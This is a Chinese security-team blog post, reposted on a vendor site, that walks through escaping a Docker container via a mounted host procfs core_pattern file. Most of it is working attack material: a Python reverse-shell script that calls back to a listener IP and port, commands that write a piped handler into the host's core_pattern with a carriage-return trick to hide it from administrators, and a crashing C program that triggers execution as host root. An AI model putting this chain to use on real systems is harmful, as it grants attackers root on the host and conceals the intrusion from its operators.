长亭百川云 - 文章详情

Docker 挂载宿主机 procfs 逃逸

M

55

2024-06-18

点击上方蓝字关注我们

**建议大家把公众号“TeamSecret安全团队”设为星标,否则可能就看不到啦!**因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。


免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责。如有侵权烦请告知,我会立即删除并致歉。谢谢!


前言

procfs是一个特殊的虚拟文件系统,动态地反映了系统中的进程和其他关键状态。它包含了对系统运行至关重要的信息,因此,将宿主机的procfs挂载到不受控制的容器内尤其危险。这种操作可能会被利用来进行逃逸,特别是在容器内默认启用了root权限且未开启User Namespace的情况下。

此外,Docker默认情况下并不开启User Namespace,这意味着容器内的root权限直接映射到宿主机的root权限,进一步增加了安全风险。Linux内核从版本2.6.19开始支持在/proc/sys/kernel/core_pattern中使用管道符|来执行用户空间程序或脚本,这也是一个潜在的安全隐患点,如果配置不当可能被恶意利用。

尽管一般情况下不推荐将宿主机的procfs挂载到容器中,有些特殊业务场景可能确实需要这么做。在这种情况下,攻击者可通过一些手段逃逸容器。


环境搭建


    创建一个容器并挂载 /proc 目录。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu


检测逃逸条件

    如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。

find / -name core_pattern


利用方法

    找到当前容器在宿主机下的绝对路径。

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

    这就表示当前绝对路径为

/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/word

    安装 vim 和 gcc

apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

    创建一个反弹 Shell 的 py 脚本

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

    给 Shell 赋予执行权限

chmod 777 .t.py

    写入反弹 shell 到目标的 proc 目录下,\r之后的内容主要是为了为了管理员通过,cat命令查看内容时隐蔽我们写入恶意命令。这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern中的命令(运行成功core_pattern时会有core dumped的输出)。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/./t.py \rcore    " >  /host-proc/sys/kernel/core_pattern

    在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序。

vim t.c
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
gcc t.c -o t
./t


TeamSecret安全团队初衷

我们的目标是:

  • 知识普及:让更多人了解网络安全的基础知识和最新动态。

  • 技能提升:为网络安全从业者和爱好者提供实战技能的提升。

  • 案例分析:深入剖析国内外网络安全事件,提炼经验教训。

  • 攻防演练:模拟攻击与防御场景,提高应对网络威胁的能力。

我们的内容涵盖:

  • 攻击队常用的网络攻击技术与工具。

  • 网络攻防演练的策略与实战案例。

  • 系统漏洞分析与防御措施。

  • 网络安全法律法规与伦理道德。

  • 网络安全行业动态与未来趋势。

加入我们,您将获得:

  • 专业的网络安全知识分享。

  • 与行业专家的互动交流机会。

  • 网络安全防护的实用技巧。

  • 网络安全事件的深度解析。

安全第一,技术先行。 我们相信,通过不断的学习和实践,我们能够共同构建一个更加安全、稳定的网络环境。

关注我们,一起探索网络安全的奥秘,成为网络世界的守护者!

添加作者微信发送:进群,邀请你加入学习交流群

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2